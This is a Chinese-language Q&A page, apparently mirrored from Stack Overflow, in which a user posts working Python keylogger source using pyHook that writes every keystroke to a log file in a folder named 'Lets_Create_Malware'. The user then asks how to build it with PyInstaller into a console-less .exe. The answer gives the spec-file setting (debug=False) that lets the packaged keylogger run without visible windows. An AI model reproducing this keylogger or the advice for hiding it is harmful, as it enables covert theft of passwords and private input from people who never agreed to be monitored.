【问题标题】:Using Pyinstaller with -noconsole gives Pop-ups instead将 Pyinstaller 与 -noconsole 一起使用会产生弹出窗口
【发布时间】:2016-11-07 21:00:37
【问题描述】:

我有 python 文件,用 .pyw 保存以抑制控制台

import pyHook, pythoncom, sys, logging

file_log = 'C:\\Lets_Create_Malware\\log.txt'

def OnKeyboardEvent (event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

然后我用pyinstaller转换成.exe,

c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw

但是当我双击 .exe 时,我得到了控制台

我尝试了 --noconsole 选项,即

c:\Python27\Malware>pyinstaller --debug --onefile --noupx --noconsole keylogger.pyw

但是当我双击 .exe 时,我会收到一系列烦人的弹出窗口,我必须使用任务管理器终止这些弹出窗口。

如何解决?

【问题讨论】:

    标签: python console popup exe pyinstaller


    【解决方案1】:

    请创建一个 .spec 文件,然后在 EXE 部分中添加

    调试=假

    PyInstaller 手册解释了规范文件here。然后使用规范文件而不是脚本文件调用 pyinstaller。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2021-08-09
      • 1970-01-01
      • 1970-01-01
      • 2014-03-18
      • 2011-05-20
      • 1970-01-01
      • 2023-01-05
      • 2016-06-26
      相关资源
      最近更新 更多